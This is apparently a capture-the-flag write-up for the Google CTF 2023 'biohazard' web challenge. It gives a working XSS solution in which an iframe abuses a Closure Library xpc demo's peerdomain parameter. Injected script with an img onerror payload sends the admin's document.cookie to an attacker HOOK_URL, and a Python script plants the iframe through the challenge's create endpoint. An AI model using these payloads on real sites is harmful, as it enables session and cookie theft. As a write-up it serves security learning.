- 14 solves / 333 pts
- CTFtime: https://ctftime.org/event/1929
- Official repository: https://github.com/google/google-ctf/tree/master/2023/web-biohazard 1
I just used the following iframe and sent a XSS payload from ATTACKER_DOMAIN
:
<iframe src="https://biohazard-web.2023.ctfcompetition.com/static/closure-library/closure/goog/demos/xpc/minimal/index.html?peerdomain={{ATTACKER_DOMAIN}}"></iframe>
There was a prototype pollution vulnerability in this challenge, but my solution did not use it :)
cd /path/to/workdir
mkdir static && cd static
git clone https://github.com/shhnjk/closure-library.git
- Add the following script to
closure-library/closure/goog/demos/xpc/minimal/inner.html
.<script> const HOOK_URL = "..."; const inputElm = document.querySelector("#msgInput"); const submitElm = document.querySelector("body > p > input[type=button]:nth-child(2)"); inputElm.value = `<img src=0 onerror="location = '${HOOK_URL}/?' + document.cookie">`; const f = () => { if (channel.send) { submitElm.click(); } else { setTimeout(f, 500); } }; setTimeout(f, 500); </script>
- Serve static files in
/path/to/workdir
. LetATTACKER_DOMAIN
be the served domain.
Execute:
import httpx
import urllib.parse
BASE_URL = "https://biohazard-web.2023.ctfcompetition.com"
ATTACKER_DOMAIN = "..."
# https://github.com/shhnjk/closure-library/blob/d3efa552b61a0c3d5704b7f0e3d7b8e54bdea73e/closure/goog/demos/xpc/minimal/index.html
url = f"{BASE_URL}/static/closure-library/closure/goog/demos/xpc/minimal/index.html?peerdomain={urllib.parse.quote(ATTACKER_DOMAIN)}"
json = {
"name": "x",
"introduction": f'<iframe src="{url}"></iframe>',
}
res = httpx.post(
f"{BASE_URL}/create",
json=json,
)
id = res.json()["id"]
print(f"{BASE_URL}/view/{id}")
Report the printed URL, and then the admin cookie will be sent to HOOK_URL
.
Footnotes
-
I predict that this URL will be broken because the directory structure will change when the final round source code is released, as in previous years 😅 ↩
Great job!